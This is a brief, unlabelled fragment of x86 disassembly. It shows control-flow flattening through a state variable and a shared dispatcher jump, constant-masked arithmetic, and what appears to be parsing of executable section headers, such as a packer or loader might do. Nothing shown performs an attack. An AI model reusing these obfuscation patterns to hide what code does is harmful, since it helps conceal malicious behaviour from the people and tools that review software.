mov dword [ebp - 0x19c], 0x6f39c9be
jmp 0x1000c556
movss xmm0, dword [0x10019208]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x19c], 0x81af85e
jmp 0x1000c556
movss xmm0, dword [0x100191f4]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x19c], 0xfdbc4dd1
jmp 0x1000c556
mov dword [ebp - 0x19c], 0x2af4f307
jmp 0x1000c556
movss xmm0, dword [0x10019198]
movss dword [ebp - 0x158], xmm0
mov dword [ebp - 0x19c], 0x7cbef48f
jmp 0x1000c556
mov dword [ebp - 0x19c], 0x8cfbbb3f
jmp 0x1000c556
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xbc]
add ecx, eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x138]
mov edx, dword [edx]
mov esi, dword [ebp - 0x128]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0xc42c9b75
sub eax, edx
sub eax, 0xc42c9b75
add ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov dword [ebp - 0x19c], 0x9eeb01af
jmp 0x1000c556
mov ecx, dword [ebp - 0xb4]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov dword [ebp - 0x19c], 0xbc63989f
jmp 0x1000c556
mov dword [ebp - 0x19c], 0x49537cec
jmp 0x1000c556
jmp 0x10003660